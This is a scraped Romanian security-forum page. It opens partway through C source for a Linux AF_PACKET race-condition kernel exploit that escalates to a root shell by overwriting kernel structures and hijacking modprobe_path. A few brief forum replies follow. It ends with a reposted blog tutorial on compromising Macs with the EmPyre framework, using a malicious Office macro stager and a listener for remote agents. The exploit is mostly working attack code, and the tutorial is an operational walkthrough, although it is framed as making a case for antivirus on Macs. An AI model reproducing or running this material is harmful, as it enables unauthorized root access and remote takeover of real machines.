kmalloc(void) { while(1) syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2); } void pad_kmalloc(void) { int x; for(x=0; x<PAD; x++) if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) { fprintf(stderr,"pad_kmalloc() socket error\n"); exit(1); } } int try_exploit(unsigned long func, unsigned long arg, void *verification_func) { pthread_t setsockopt_thread_thread,a; int val; socklen_t l; struct timer_list *timer; int fd; struct tpacket_block_desc *pbd; int off; sigset_t set; sigemptyset(&set); sigaddset(&set, SIGSEGV); if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) { fprintf(stderr,"couldn't set sigmask\n"); exit(1); } fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p\n",(void *)func,(void *)arg); pad_kmalloc(); fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)); if (fd==-1) { printf("target socket error\n"); exit(1); } pad_kmalloc(); fprintf(stderr,"sockets allocated\n"); val = TPACKET_V3; setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val)); tp.tp_block_size = CONF_RING_FRAMES * getpagesize(); tp.tp_block_nr = 1; tp.tp_frame_size = getpagesize(); tp.tp_frame_nr = CONF_RING_FRAMES; //try to set the timeout to 10 seconds //the default timeout might still be used though depending on when the race was won tp.tp_retire_blk_tov = 10000; sfd = fd; if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) { fprintf(stderr, "Error creating thread\n"); return 1; } pthread_create(&a, NULL, vers_switcher, (void *)NULL); usleep(200000); fprintf(stderr,"removing barrier and spraying..\n"); memset(exploitbuf,'\x00',BUFSIZE); timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8); timer->next = 0; timer->prev = 0; timer->expires = 4294943360; timer->function = (void *)func; timer->data = arg; timer->flags = 1; timer->slack = -1; barrier = 0; usleep(100000); while(!vers_switcher_done)usleep(100000); l = sizeof(val); getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l); fprintf(stderr,"current packet version = %d\n",val); pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0); if(pbd == MAP_FAILED) { fprintf(stderr,"could not map pbd\n"); exit(1); } else { off = pbd->hdr.bh1.offset_to_first_pkt; fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d\n",off); } if(val == TPACKET_V1 && off != 0) { fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n"); } else { fprintf(stderr,"race not won\n"); exit(2); } munmap(pbd, tp.tp_block_size * tp.tp_block_nr); pthread_create(&a, NULL, verification_func, (void *)NULL); fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.\n"); sleep(1); fprintf(stderr,"closing socket and verifying.."); close(sfd); kmalloc(); fprintf(stderr,"all messages sent\n"); sleep(31337); exit(1); } int verification_result = 0; void catch_sigsegv(int sig) { verification_result = 0; pthread_exit((void *)1); } void *modify_vsyscall(void *arg) { unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850); unsigned long x = (unsigned long)arg; sigset_t set; sigemptyset(&set); sigaddset(&set, SIGSEGV); if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) { fprintf(stderr,"couldn't set sigmask\n"); exit(1); } signal(SIGSEGV, catch_sigsegv); *vsyscall = 0xdeadbeef+x; if(*vsyscall == 0xdeadbeef+x) { fprintf(stderr,"\nvsyscall page altered!\n"); verification_result = 1; pthread_exit(0); } return NULL; } void verify_stage1(void) { int x; pthread_t v_thread; sleep(5); for(x=0; x<300; x++) { pthread_create(&v_thread, NULL, modify_vsyscall, 0); pthread_join(v_thread, NULL); if(verification_result == 1) { exit(0); } write(2,".",1); sleep(1); } printf("could not modify vsyscall\n"); exit(1); } void verify_stage2(void) { int x; struct stat b; sleep(5); for(x=0; x<300; x++) { if(stat("/proc/sys/hack",&b) == 0) { fprintf(stderr,"\nsysctl added!\n"); exit(0); } write(2,".",1); sleep(1); } printf("could not add sysctl\n"); exit(1); } void exploit(unsigned long func, unsigned long arg, void *verification_func) { int status; int pid; retry: pid = fork(); if(pid == 0) { try_exploit(func, arg, verification_func); exit(1); } wait(&status); printf("\n"); if(WEXITSTATUS(status) == 2) { printf("retrying stage..\n"); kill(pid, 9); sleep(2); goto retry; } else if(WEXITSTATUS(status) != 0) { printf("something bad happened, aborting exploit attempt\n"); exit(-1); } kill(pid, 9); } void wrapper(void) { struct ctl_table *c; fprintf(stderr,"exploit starting\n"); printf("making vsyscall page writable..\n\n"); exploit(off->set_memory_rw, VSYSCALL, verify_stage1); printf("\nstage 1 completed\n"); sleep(5); printf("registering new sysctl..\n\n"); c = (struct ctl_table *)(VSYSCALL+0x850); memset((char *)(VSYSCALL+0x850), '\x00', 1952); strcpy((char *)(VSYSCALL+0xf00),"hack"); memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4); c->procname = (char *)(VSYSCALL+0xf00); c->mode = 0666; c->proc_handler = (void *)(off->proc_dostring); c->data = (void *)(off->modprobe_path); c->maxlen=256; c->extra1 = (void *)(VSYSCALL+0xe00); c->extra2 = (void *)(VSYSCALL+0xd00); exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2); printf("stage 2 completed\n"); } void launch_rootshell(void) { int fd; char buf[256]; struct stat s; fd = open("/proc/sys/hack",O_WRONLY); if(fd == -1) { fprintf(stderr,"could not open /proc/sys/hack\n"); exit(-1); } memset(buf,'\x00', 256); readlink("/proc/self/exe",(char *)&buf,256); write(fd,buf,strlen(buf)+1); socket(AF_INET,SOCK_STREAM,132); if(stat(buf,&s) == 0 && s.st_uid == 0) { printf("binary executed by kernel, launching rootshell\n"); lseek(fd, 0, SEEK_SET); write(fd,"/sbin/modprobe",15); close(fd); execl(buf,buf,NULL); } else printf("could not create rootshell\n"); } int main(int argc, char **argv) { int status, pid; struct utsname u; int i, crash = 0; char buf[512], *f; if(argc == 2 && !strcmp(argv[1],"crash")) { crash = 1; } if(getuid() == 0 && geteuid() == 0 && !crash) { chown("/proc/self/exe",0,0); chmod("/proc/self/exe",06755); exit(-1); } else if(getuid() != 0 && geteuid() == 0 && !crash) { setresuid(0,0,0); setresgid(0,0,0); execl("/bin/bash","bash","-p",NULL); exit(0); } fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n"); uname(&u); if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0'; snprintf(buf,512,"%s %s",u.release,u.version); printf("kernel version: %s\n",buf); for(i=0; offsets[i].kernel_version != NULL; i++) { if(!strcmp(offsets[i].kernel_version,buf)) { while(offsets[i].proc_dostring == 0) i--; off = &offsets[i]; break; } } if(crash) { off = &offsets[0]; off->set_memory_rw = 0xffffffff41414141; } if(off) { printf("proc_dostring = %p\n",(void *)off->proc_dostring); printf("modprobe_path = %p\n",(void *)off->modprobe_path); printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table); printf("set_memory_rw = %p\n",(void *)off->set_memory_rw); } if(!off) { fprintf(stderr,"i have no offsets for this kernel version..\n"); exit(-1); } pid = fork(); if(pid == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespace\n"); if(unshare(CLONE_NEWNET) != 0) fprintf(stderr, "failed to create new network namespace\n"); wrapper(); exit(0); } waitpid(pid, &status, 0); launch_rootshell(); return 0; } Sursa: https://www.exploit-db.com/exploits/40871/

Ce posturi s-au pierdut?

Pusei ultima versiune, GG!

Da, dar pentru un articol de pe Infosec Institute e relativ OK, desi se complica uneori inutil.

Hacking Mac With EmPyre October 12, 2016 lukeager I am the stereotypical Apple fan boy that other bloggers write about. We have MacBook Pro’s, Air’s, Apple TV’s, iPhone’s and iPad’s and even subscribe to Apple Music. You literally couldn’t find someone who has become more brainwashed by a brand…BUT, I am still not blinded by the security misconceptions which are rife within the world of Mac users. To try and understand just how wide spread these misconceptions were I recently did a poll on a facebook group dedicated to Mac products and asked the following question: Do you think Mac/iMacs need an AntiVirus? The results were staggering and showed that over 90% of participants (There were over 150 participants before the post was removed by an Admin because he wouldn’t entertain any talk of Mac’s having AV) believed that Mac’s do not need an AV. The comments were even more staggering and filled with all kinds of crazy talk from “Mac’s cannot get malware” through to “Malware can only infect your Mac if you enter your admin password” and even went into heated debates debating the differences between Trojans, Viruses and Worms and which impacted Mac users. Of course the bottom line was that almost nobody really understood that the risks are just as real on Mac as they are on Windows, just less common. Mac users get unwanted software, viruses, trojans and can be hacked, and with a little help from Adaptive Threat, we are going to prove it. So, lets have some fun and look at how to hack into Mac OSX hosts using Social Engineering and Malicious Office Documents. Introducing EmPyre edit: I added a new video tutorial to walk through the whole blog below.. EmPyre is a Post Exploitation framework built using Python which offers Ethical Hackers & Baddies(don’t do it) the ability to remotely access OSX hosts. It’s easy to use, has OSX Specific exploits and payloads already built in, and it actually makes for a refreshing change from Metasploit. Visit them on Github to read the nitty gritty about features and support. Installation is easy from another Unix host like Kali which comes with Git installed already. If you are using OSX or another distro, make sure you have Git installed before you begin. I’m using a fresh Kali install. Install EmPyre First, Git Clone from https://github.com/adaptivethreat/EmPyre/ You should now have a folder called EmPyre, and you’ll want to run install.sh to finish the install. That’s it, EmPyre is installed and ready to go, now just change directory in to EmPyre and run ./empyre to launch the interface. Once you do that, EmPyre will load up and you will see the following menu. Create A Listener Before you do anything, type the help command and check out the options you have, i’d suggest spending some time learning what you can do with the tool. For now, we want to start a listener for our victims to connect back too (y’know – the Macs that don’t need AV). Go to the listeners menu…and type options to view the current listener options. This is your equivalent of “show options” within Metasploit. When you hit enter you will see the current settings for the default listener which is called test. You can see the local IP and all the other options which are fine for this guide but you can change anything that suits your objective. Now, if you decide to get a little fruity here, it’s on you, but to change any of these, you’ll want to set one of the fields and change it accordingly. For instance, changing the host is useful if you are wanting to NAT your IP and go out over the internet like some kind of savage. Once you are happy with your options, just hit run , followed by your listener name which you can see in the options. Thats it, we are listening for shells. Now, if you are running this in a lab, just make sure you can reach the target machine and networking is all good. If you are using this against a remote host outside of your LAN, then you should move on to configuring NAT and any rules you need to let the traffic come in. You’re on your own with that. Create The Malicious Document This is not so different to attacking windows machines but you’re gonna have the extra helping hand from EmPyre to make things a little easier. First, we need to create the malicious office macro. You can return to the main menu by entering “main” and then we want to enter “usestager“. You can press tab to list all the available options but we will be using a macro for this attack. Almost there… now, we just need to tell the stager which listener we want it to use which should be easy since we only have 1 created, and then we wrap it up by generating the macro. If all goes to plan, you should see the macro outputted to the screen(unless you set an output location in the options) We want to copy this output into an office document and enter into a macro. Open excel or word and save the document as a macro enabled document. Once you have saved it, head over to tools and create a new macro, name it and then paste the code from your EmPyre host into the Macro. It should look like this. (Note – If you are targeting x64 architecture you will need to edit the first line to begin “Private Declare PtrSafe Function”) Save the document and let the games begin. The next time you open this document you should be prompted to enable macros which of course we will (why wouldn’t we!). Once you hit Enable Macros… Excel will play ball and execute the macro hidden away inside Excel. Over in the attack machine we can see the fruits of our labour with an agent checking in. This can sometimes take a second but no more than around 10-15 seconds. You’re going to want to then begin interacting with your newly infected Mac host. EmPyre calls them agents, so just enter the agents command. Notice the string which begins UKFOM…. this is the unique identifier EmPyre has given the host. In order to interact with that host you just need to type the following, but remember to substitute the identifier for whatever yours is called.(you can rename it) From here, you can start throwing shell code around like some kind of maniac. Try some of the built in modules, there are tons of them and some of them are pretty useful. My personal favourite is troll/osx/say but if you want to list them all, just use tab complete on the end of usemodule Of course, like every other screen you can issue the help command and see all the other options you have. Why not drop into the victims Shell, query the sysinfo or execute python code directly onto the host? And that’s it, now go pop some Macs. But first, lets take a moment to think about the original question. Do Macs need AntiVirus? Malware might not be as prolific on OSX as it is on Windows, but the concept is the same. Attackers can gain access to your machines in almost the same way they do Windows hosts. Some might argue that AV is not effective against targeted attacks, and I would agree, but right now, attacks are becoming more and more sophisticated and with the rise of OSX users, it’s only a matter of time before we see a shift in Apple users becoming bigger targets. Thanks for reading, please subscribe and follow me on Twitter/Instagram/LinkedIn using the links at the top of the page. Sursa: http://www.disinfosec.com/2016/10/12/hacking-mac/ Sursa: http://www.disinfosec.com/2016/10/12/hacking-mac/